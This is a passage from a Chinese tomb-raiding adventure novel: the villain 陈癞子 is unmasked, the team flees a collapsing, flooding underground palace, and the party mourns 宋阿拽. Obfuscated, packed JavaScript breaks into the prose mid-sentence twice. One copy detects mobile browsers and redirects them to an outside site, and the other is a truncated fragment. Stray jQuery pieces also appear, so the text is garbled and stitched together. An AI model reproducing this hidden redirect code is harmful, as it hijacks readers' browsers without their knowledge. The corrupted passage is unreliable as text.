“这还能有假?须厄门当家的穆玄典亲自打电话给钱串子约了地方,我照着他给的地址去找的,当时就把人直接给带回来了,连别的地方都没去过。” “也就是说穆玄典并没有亲自带你去见他。” “显然没有啊!你到底什么意思?” 解鸦门实在不知道问题出在哪里,他又为什么会这么问,觉得这人有点儿无理取闹,语调就不是那么客气。不过宋阿拽根本就不在乎这些,更没注意人家姑娘在生气,冷哼一声还是用那种轻蔑的口吻说: “哼,他在之前就已经被人掉换了。” 他这种语调实在是太过不屑了,好像在嘲笑鸦门是白痴一样,竟然没有发现这么显而易见的问题,又好像在责怪她行事不谨慎,简直就是愚蠢之极。 鸦门这才反应过来他是什么意思,诧异的问道: “你,你是说,陈癞子装成了钱串子?” 这时候其他人也都明白是怎么回事了,宋阿拽的意思是说,钱串子根本就不是他本人,而是陈癞子在得到鸦门要找他的消息之后假扮的,目的显然就是为了混入他们的队伍以便进入地宫寻找长生不老药啊。 “他根本不用装,你们都没见过钱串子,只要易容成随便一个人就行。” 宋阿拽接着又说到,鸦门终于恍然大悟,觉得很有这个可能啊,反正她没有见过钱串子,根本不知道他长什么样,所以随便一个人自称是钱串子而且出现在他们已经约好的地方,自己是根本不可能会有任何怀疑的。可是就算是有这个可能,那也不能肯定假扮钱串子的人就是陈癞子啊。 “哎?你这么一说我才想起来,那钱串子的表情一直都很古怪的,根本就不像是个正常的人,难道说就是因为易了容表情才不自然?” 二胖回忆起这个,别人一听还真是如此。钱串子的表情很僵硬,除了怪笑就是阴着脸,而且他总是捏着嗓子,说话的声音也很刺耳,这一切都可能是因为他需要用假声来掩饰自己的真实身份啊。 “好,就算他不是钱串子,那也不能说明他就是我爹陈癞子啊。”陈老四又插话发问,不过这也正是鸦门所怀疑的地方。只见宋阿拽沉默片刻,好像在沉思该怎么跟众人解释,之后终于下定决心,一字一顿的说: “因为痋尸蛊。” “什么玩意儿?你先别管他是钱串子还是陈癞子,我他娘的就想知道他是怎么变成一只虫子的!”二胖早就急得忍不住了,觉得宋阿拽绕了半天根本就没说到点子上去,干脆就自己问。其他人也是好奇,都眼巴巴的等着他解释,没想到等了半天他又慢悠悠吐出三个字: “痋尸蛊。” 我擦尼玛!二胖差点就骂人了,这他娘的是在耍他们玩吗?又是疼死骨,疼疼疼,疼你妹啊疼! 其他人也有些不耐烦,这人到底在说哪国的鸟语啊?不过鸦门还是比较有耐心,就问他那是什么,没想到他反问: “你不知道痋尸蛊?借尸还魂中最阴毒的一种,是结合痋术的蛊毒。” 宋阿拽有些期待的看着解鸦门,好像是因为自己懒得再说下去就想问她是否知道,由她来向大家解释。可是鸦门一脸的迷茫,显然是并没听说过这么一种毒蛊,更是半点都不了解。宋阿拽没有办法,只好十分不情愿的继续往下说。不过他实在是太惜字如金了,能用一个词绝对不用一句话,听得大家是云里雾里,半猜半揣摩,搞了半天才弄明白是怎么回事。 原来陈癞子失踪之后,可能是知道自己借住的陈三水这副身体到生命极限了,大限将至随时都会死去,必须想办法找活体进行第二次借尸还魂来续命。不过找人类下蛊必须提前好几个月,时间上肯定是来不及,万般无奈之下他只好选择用痋尸蛊来给自己续命。 所谓的痋尸蛊,是指直接将蛊下在蛊虫之上,下蛊之人吃了那蛊虫之后就能得到它剩下的寿命。只是你吃了那蛊虫之后,你就会受到蛊毒的影响,很快进行变异成为半人半虫的妖怪。所以不会有人轻易下这种可怕的蛊,但是陈癞子肯定是迫不得已,临死前碰到了一只地蜈蚣,不得不给自己下了痋尸蛊,才变成了这么一只半人半虫的怪物。 “哎,他情愿变成怪物也不想死,看来他是真的怕下地狱啊。” 陈国祥不由感叹,他那个爹确实罪孽深重,而往往背负罪孽之人都是怕死的,所以才要找长生不老药,让自己永远不死,永远不会下地狱受刑啊。 “就算那是痋尸蛊,也不能说明就是陈癞子干的啊。”鸦门还是不死心,又发出疑问。 “只有陈癞子才会痋尸蛊。” 宋阿拽理所当然的回答,鸦门又问为什么这么肯定,既然他会就可能有别人也会啊。宋阿拽说的很肯定,表示在这个世上只有陈癞子一人才会这种阴毒的蛊,至于什么原因他死活不肯透露,说大家要是不相信就等见了陈癞子揭开他脸上的人皮面具,一看就知道真假了。这一下弄得其他人想问也没法再问了,只得作罢。 “可他抢玉玺又是为了什么?”封鬼又问,陈老四啧了啧嘴,道: “他肯定是听到咱们的话了,以为那玉玺就是通往第八层的关键。” 封鬼微微点了点头,觉得有道理,但还是说不通。 “嗯,有这个可能。不过陈癞子会这么武断吗?他不会只因为一句猜测的话就冒险抢玉玺吧?要是万一我们把他打死怎么办?” 确实,陈老四说玉玺是开启第八层的钥匙只是自己的猜测,并没有得到证实,为了这么一个不知真假的理由而冒险,显然不可能是老奸巨猾的陈癞子能干得出来的事情啊。 “除非他已经知道,这玉玺确实就是开启地下入口的钥匙。” 玄武发表了自己的看法,这倒是很有可能。因为陈癞子失踪了这么长时间,难免没有发现什么他们不知道的秘密,说不定他早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400034|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌握了进入第八层的方法,只要得到钥匙就可以了。如果真是这样,那他们必须找到陈癞子才行啊。 于是大家商量一番,意见保持一致,队伍分成两批人,一批去怪鸟的洞穴寻找陈癞子,另外一批留下来看守以防陈癞子返回。他们又约定一旦有情况就以三声枪响作为信号,另外一批人可以立刻回来支援。 最终决定伤重的陈晓和年长的陈国祥陈老四留下,玄武负责保护他们,而剩下的人全都去找陈癞子。几人轻装上阵,留下一切不必要的装备,只带走枪支和绳索,沿着铁索爬入洞穴。 石洞里面有不少的人面鸟,见到他们之后都行了注目礼,肯定是他们的鸟王大鹏下达了命令,要它的臣子对他们以礼相待。二胖又借此机会对封鬼调侃一番,说你看那鸟王这么看重你,干脆你就留下来做人家的鸟驸马,在这地宫里当个鸟皇帝,统治一群鸟众,那也算是个不小的头领,威风凛凛啊。 封鬼骂了他一通,说要留你留,等十年之后再来看他,说不定这里不止有人面怪鸟,还有一群小胖鸟,跟在二胖身后管他叫爹。 一行人在黑暗的洞穴中边走边说笑,也算热闹,缓解了不少压力。不过在里面找了许久,除了鸟和鸟蛋,什么都没发现。那些鸟又不会说话,你也别指望人家会告诉你什么有用的信息。 就在这个时候,他们突然听到洞外传来一连串哒哒哒机关枪扫射的声音,显然是出了什么事,连忙原路返回下到地面,发现地上竟然无端出现了四个地道,而陈家爷仨和玄武正端着枪惊恐的朝地道里看。 “怎么回事?!”封鬼跑过去就问,玄武指着洞口说: “陈癞子钻进地道里去了!” “这里哪来的地道?走之前不是没有吗?”二胖着急的问,玄武就把刚才发生的事说给大家听。 原来封鬼他们离开之后,陈晓听见石门里传出来稀稀疏疏的声音,一开始还很不清晰,后来那声音离他们越来越近,就像是很多只虫子在地上爬一样。玄武一听就说那是陈癞子,几个人就立刻进了石门,确实看见远处的地上有个模糊的影子爬得飞快,很像是地蜈蚣,大家连忙去追,没想到追过去之后才发现,那竟然是钱串子的后半截虫身!前半截根本就不在身上!这怪物没了脑袋竟然还能跑能动! 这显然是陈癞子金蝉脱壳,来了一招调虎离山啊。他们刚想折回去,突然就听到外面传来一声巨响,连忙跑回来,就发现地上已经多出了四个洞,而钱串子前半截身子正往里面钻,为了阻止他下去他们就开枪射击了,不过还是让他给跑了。后来他们检查了一下四周,发现四块玉玺分别放在四扇石门下方中央不易察觉的凹槽之中,这显然是开启了某种机关,使石门之间的四面墙退后了一百五六十公分,所以地上才会出现了四个地洞。看来陈癞子已经发现这石门的秘密,所以才会抢玉玺开启机关暗道啊。 “那还等什么!咱们赶紧下去!别让陈癞子抢先得到长生不老药啊!”二胖大叫着就要冲下去,封鬼一把拦住他示意他不要鲁莽,陈老四不客气的呵斥道: “你懂个屁!你知道这四方门的玄机吗?就这么下去,不被毒死也会被困死在里面!” “啊?什么四方门?地道就是地道!这他娘的能有什么玄机?” 二胖有点儿急躁,不耐烦的骂着。陈老四瞪了他一眼,恨铁不成钢的冷哼一声: “哼!不懂就少他娘的废话!鸦门,你去找几根蜡烛来。这一回咱们得学学老祖宗的法子,来个阳火探阴山。” 42.【42】逃脱 陈老四说完,鸦门还真就听话的从包里摸出两根白蜡烛来,陈老四掏出打火机就要点着一根,事发太过突然其他人也不知道该做什么反应,二胖倒是一把拉住他问: “什么阳火探阴山?我说四爷您别急啊,先跟咱们解释解释,这四方门又是什么鬼把戏?” 陈老四古怪的看了眼众人,见他们个个都是一脸的白痴相,显然是完全不知道是怎么回事,颇为得意的笑了笑,略显卖弄的说道: “我曾经在我爹陈癞子的一本笔记里看他提过,说是在一个湘西的古墓里就碰到过这种类似的四方门,也是在地上有不同方向的四个地道,其实就是为了防止盗墓贼而在墓室入口故布的一种疑阵,四条路中只有一条是能通往墓室的生门,如果没有选择正确,就会进入另外三个死门,里面全是古怪的机关,人一旦进去那就死定了。” 众人听完心里都是一惊,原来这四方门是这么回事。封鬼倒觉得好办,就对陈老四说: “那不简单!既然你爹知道这四方门的玄机,他刚才又已经进去了,咱们跟着他走那就肯定是生门啊!” “嗨!封老弟你有所不知啊,你以为古人就会这么容易让你进去吗?就算是这生门之中那也全都充满了毒气啊,咱们必须以烛火探查墓中空气质量如何,如果蜡烛灭了那就是氧气不足,人根本就进不去。” 说到这,陈老四叹了口气,斜眼瞟了瞟众人又继续说: “不过蜡烛必定是个死物,难免测量不准啊。哎,要是有活物在前面探路更好,以往人盗墓都会投鸡鸭鹅鸟兔之类的小动物进去,过段时间再用绳子扯出来,要是发现它死了,那就得等毒气散尽才能进去。” 陈老四对此表示相当的无奈,确实,拿着蜡烛进去测量空气质量实在危险,时间上又有延迟,等蜡烛灭了,估计人也已经被毒死了。他们就后悔没有从汤土村带两只鸭子过来,这到哪去找活物啊?难不成他们抓阄找个活人进去冒险吗? “那,小封,要不你再去求鸟王帮个忙,让它牺牲一只子民来帮我们探路怎么样?” 二胖又在那不正经,拿封鬼开涮。封鬼瞅了他一眼,刚想骂人,就见宋阿拽跟个鬼魅一样不声不响的从后面走了出来,撂下句: “我先进去。” 然后也不等大家回答,就拿着蜡烛一头钻下了陈癞子进去的那条地道。封鬼本来还想拦他,转念想到他连守墓山魑的毒瘴都不怕,根本就是百毒不侵之躯,既然他这么有把握敢进去,那就肯定有他的道理,也就不再那么担心。 大家在上面等了二十多分钟,见迟迟没有动静,都等得不耐烦了想要下去,却又怕毒不敢进,在那商量着怎么才能联系上宋阿拽。就在这个时候,地道下面突然传来一声惊天动地的怒吼,就像是来自地狱深处的鬼哭神嚎,吓得众人个个都是胆战心惊,连峭壁石窟中的怪鸟都被惊得飞了出来在他们上空盘旋。随之而来的就是一阵地动山摇,头顶的铁链开始哗哗作响,顿时就从上面砸下来好几块巨石和断裂的铁链。 “我去!这TM是怎么回事?”二胖开始大骂,大家抱着头全都蹲倒在地,还没等他们做出下一步反应,就看见一个巨大的黑影从地道里窜了出来,紧接着又有个人也跑了出来,大家一看正是宋阿拽啊!他的身上不知怎么又多出了好几处正在流血的伤口,就见他看了眼惊慌失措的众人大声吼道: “你们快下去!地宫要塌了!” 说完就去追那黑影。封鬼手里正好拿着矿灯,急忙朝那黑影照了过去,这一看不要紧,竟然是个浑身红毛的野兽!身形大如雄狮,头顶一对鹿角,目似铜□□大如盆,似龙非龙,像急了石门上的饕餮。 封鬼的脑门一下子就炸了起来,这怪物不是别人,竟然就是只犼啊!犼通体皮毛腥红如血,所以也被称为终极赤毛僵,可与神叫嚣,普天之下无敌手啊!这他娘的到底是怎么回事?这犼到底是之前被镇在第八层的墓主人还是陈癞子已经吃了长生不老药变化而成的?!宋阿拽怎么就跟他打到一块去了?!他怎么就不能先退回来跟大家商量呢!做什么都是独断独行根本不顾及别人的感受,他要是就这么被犼咬断了脖子可怎么办? 这时候封鬼的心已经是凉了半截了,别的姑且就不说了,管他怎么胡来怎么逞英雄先都不提,他娘的那宋阿拽竟然什么武器都没带就空手赤拳的去追一只犼?!你再有本事去打怪也不能手无寸铁没有任何装备啊!啊?这他娘的不是成心找死吗! “宋天官!!”封鬼朝他大叫一声,想也不想的就把手里的邪牙刀掷了过去,宋阿拽的身手何其敏捷,一下子就把刀接在手中,没有任何表示的就追着犼消失在了一扇石门之中。 这时候中间的那根巨大石柱已经开始崩裂了,有不少人已经从地道跑了下去,二胖见封鬼还在那看着石门发傻,大骂一声,拉起他就往地道里钻。 封鬼这时候才反应过来,慌乱之中就朝前面大喊宋天官怎么办?难道就丢下他不管了吗?不过此时简直就是生死关头啊,地道顶上落下无数的尘沙,根本就是千钧一发随时都会崩塌,谁也没心思理会封鬼说了什么,都没命的朝前面跑去。 整个地道是倾斜向下的,不一会儿他们就发现地上出现了积水,再往前跑了十几步,就进入一个充满地下水的墓室,只有百余平,墓室顶上也不高,就十几米。只见如同蓄水池一般的墓室中央有一块平整的石台,而石台已经被水没过了一大半,上面躺着一具兽骨,被铁链锁着。而它的面前散落着四个刻着兽头的玉瓶,瓶口被打开,里面的东西不翼而飞,看来这玉瓶中盛放的就是长生不老药,陈癞子就是吃了这个变成了犼啊,而石台上被锁着的尸骨,应该就是之前尸变成犼的墓主人某位秦王了,不知什么原因竟然死了,看来他到死都在守着他的长生不老药啊。 而陈癞子盗取长生不老药挪动四个玉瓶,无意间触动机关,地宫的地基整个被撼动开始坍塌,如果他们再不逃出去,就全都要葬身在这战国地宫之中了! “快!大家快下水找出口!” 陈老四喊了一声,众人纷纷潜入水下,用矿灯向四处照去,就发现水下有九口巨大的青铜鼎依次排列围在石台一圈。鼎有九色,每一个上面都刻有不同的神兽图案,封鬼就认得其中一个是龙纹赤鼎,心里一惊,想到什么却又只是个模糊的概念没有成形。而石台就架空在这九鼎之上,下面是一个大洞,地下水就是从这里冒了出来。看来这里就是陈癞子所说的地宫漏斗了,壬申龙年五星连珠时辰已过,黑猪过河又引起山洪,地下水位骤然上涨,看来这地宫不只是要坍塌,还将重新沉入水底啊! “我去!这下面只有九个大鼎!哪来的金银珠宝!他娘的太坑人了!这到底是哪个穷皇帝的墓!一件值钱的明器都没有!” 二胖冒出水面抹了把脸上的水就大骂,这时候石台已经完全被淹没了,水位上涨的实在太快,他们再不出去,真要被溺死在水中了。 “这是禹王鼎!大禹的九州神鼎啊!!”陈国祥也从水下钻了出来,激动的大叫出声。封鬼一个激灵,刚才那模糊的念头猛然清晰起来。 “不错!这下面可能确实就是禹王鼎啊!你们可知道武王举鼎?这地宫难道是秦武......” 封鬼还没说完,头顶上就砸下来一块巨石,幸亏二胖机灵,连忙把他拽了过来。石头砸入水下,激起一片巨浪。这时候大家已经没有心思再听故事了,更不可能去管什么禹王鼎,纷纷戴上水肺,准备潜入石台下的水道逃生。 可是因为之前的各种状况,装备丢了不少,他们现在一共9个人,而水肺就只剩下7副。这水道不知道究竟有多长,何时才能游出水面,普通人憋气最多只能维持一两分钟,要是没有水肺那就等于直接宣判死刑啊。 大家急得不知所措,而时间又不允许他们耽搁下去,眼见着头顶的石砖不断落下,水位也在急速的上涨,有人就提议抓阄两个没有水肺的人。鸦门和封鬼坚决反对,玄武就说他和小白用一个氧气瓶,两人都有闭气功,一次憋上七八分钟应该是没有问题的。 可就算是这样,那还有一个人势必落单啊,必须再有一个人做出牺牲愿意与他合用一个氧气瓶。可是大家之前进入地宫的时候就已经耗费了不少氧气,剩下最多的都很难维持一个人正常呼吸二十分钟,而且这种呼吸还必须是省着小口呼吸不能是大口消耗。 而且就算有人愿意两人共用一个,事先怎么商定都好说,可一旦到了水下,呼吸困难的时候,两人势必会为了抢夺氧气瓶发生争斗,到时候说不定两个人都会被对方拖累死。这样一来就产生了一个问题,共用一个氧气瓶的人,必须是同玄武和小白那种亲密的关系,两人都为对方着想,愿意将呼吸的机会让给对方。这么一合计,所有人当中就只有陈晓父子的关系是最亲的,陈国祥和陈晓也赞同这么办。于是大家把余量最高的一个氧气瓶给了他们父子,准备妥当之后,就纷纷潜入水下。 不过封鬼对那九个鼎还是有所留恋,在下去水道之前,就去看了眼离他最近的龙纹赤鼎的内部,竟然发现里面有枚两根手指大小的金属印章,心中暗喜,不动声色的将印章收入口袋,随大家一起进入了宽阔的水道。 因为他们是逆流,游起来十分吃力。不过这个水道里非常的干净,没有任何阻碍物,四壁光滑,应该是人工开凿出来的,连接了附近的河流湖泊,从而形成这么一个奇妙的水闸漏斗。 过了不久最后一盏手电的光也耗尽了,四周是一片漆黑什么都看不见,大家只好打开气压手表上的灯,借着几点微弱的蓝光缓缓向前游。 因为没来及穿潜水服,地下水简直是冰冷刺骨,封鬼已经冻得麻木了,只能僵硬的摆动着四肢继续前进,回头看了眼身边的二胖,见他也是一脸的颓靡狼狈,心说这要是再不到头,他们就算不被溺死也会被冻死啊。 水下不比陆地上,时间那是相当难熬,封鬼以为他们都游了一个小时了,一看手表这才过去五六分钟,才反应过来要是一小时自己早就耗尽氧气窒息而死了。想到这里就忙去看自己的氧气瓶上的压力表,显示只剩下不到三分钟的可用压缩空气了,要是再这么下去,他可就真要死在这了。顿时一股恐慌感如冰冷的潮水一般四面八方的向他袭来,深水恐惧症就像是突发心脏病一样爆发了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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回到老村孙头的家,鸦门就派人去龙池寺报信,请那些守在上面的人下来。老孙头听说陈晓的爹死了,抱着陈晓哭了一场,许久之后就让他去休息了。 其他人总算是吃了顿热乎饭,吃饱喝足之后什么也不说全都去睡觉。天黑之后大辰子他们从山上回来了,阿龙和朱雀就问宋老板呢,玄武说失踪了,他们二人就不再追问下去,之后谁也没有再提起宋阿拽这个人。 封鬼见他们的态度觉得很气愤,又有些伤感,为那宋阿拽抱不平。好像大家根本就不关心有这么一号人,他这一路上为了保护大家毕竟也出了不少力啊,怎么所有人都这么铁石心肠根本就不在乎他呢?而且玄武就只是用三个字“失踪了”来概括,根本不屑于多提一个字,他那哪里是失踪,分明就是为了保护大家而牺牲了啊。 这他娘的死得也太不值了,不明不白的,好像这个人根本就没有存在过一样,来无声去无息,一点儿痕迹都没留下啊。封鬼始终都不愿意相信,他竟然就这么死了,他的身上还有这么多未解之谜,自己还有很多的话要问他,怎么能就这么出现就这么消失了呢?这也太不负责任了,他不是说还要从自己身上拿走什么东西吗?只要他现在能立刻出现在自己面前,封鬼发誓,就算是要自己的命他也二话不说立刻就给他,反正自己的命也是他给的,要是能让他活过来,干什么自己都愿意啊。 然而不论他怎么想,宋阿拽始终都没能再出现。当晚老孙头叫大辰子买来几瓶白酒,做了一桌的好菜,为他们的平安归来而庆祝。 陈晓自然是把自己关在屋里没有出来,其他人也不去打扰他,个个都敞开肚怀大吃大喝。这他娘的可是死里逃生啊,在地狱里绕了一圈总算是大难不死活着回来了,不痛痛快快的喝个醉生梦死那就太对不起老天爷对他们的厚爱了。 二胖狠了心要喝个痛快,而且也确实喝得高了,人也开始说胡话,拉着大辰子就呵呵直傻笑: “呵呵~我,我说大辰子,你小子他娘的这三凶星童子命也太不准了,不是说损三折五吗!啊?这TM都死了六个人了!你怎么负责!啊?怎么负责啊!” 封鬼见二胖耍起酒疯就要揍人,连忙跟小胡子一起把他给扯了回来,一把按倒在凳子上。大辰子没有被二胖给吓到,反而十分镇定自若的说: “那六个人中有一个不是人。” 六个人中有一个不是人?众人都是一愣,那会是谁呢?封鬼就问是不是那钱老头,毕竟他是陈癞子装的,早就该是个死人了,而且已经变成了犼,根本就不能算是个人啊。 其他人也都是这么想的,觉得陈癞子也算是罪有应得啊。就是不知道真正的钱串子是死是活,有没有被陈癞子杀人灭口?看来等回到北京之后鸦门还得去向穆玄典落实这件事。 可是让大家没有想到的是,大辰子竟然摇了摇头,表示那人并不是陈癞子,可不是陈癞子那到底会是谁呢?所有人都诧异的盯着大辰子,就见他沉着张没什么表情的脸神经质的说: “不是他,是那个姓宋的。” 话音刚落,天上突然亮起一道闪电,照在屋里众人的脸上,个个都是表情僵硬瞠目结舌,被闪电映得是面部狰狞鬼气森森。只听一声轰隆巨响,一个惊天雷炸响天际,原本放晴停了一整天的雨,到了晚上竟然又下了起来。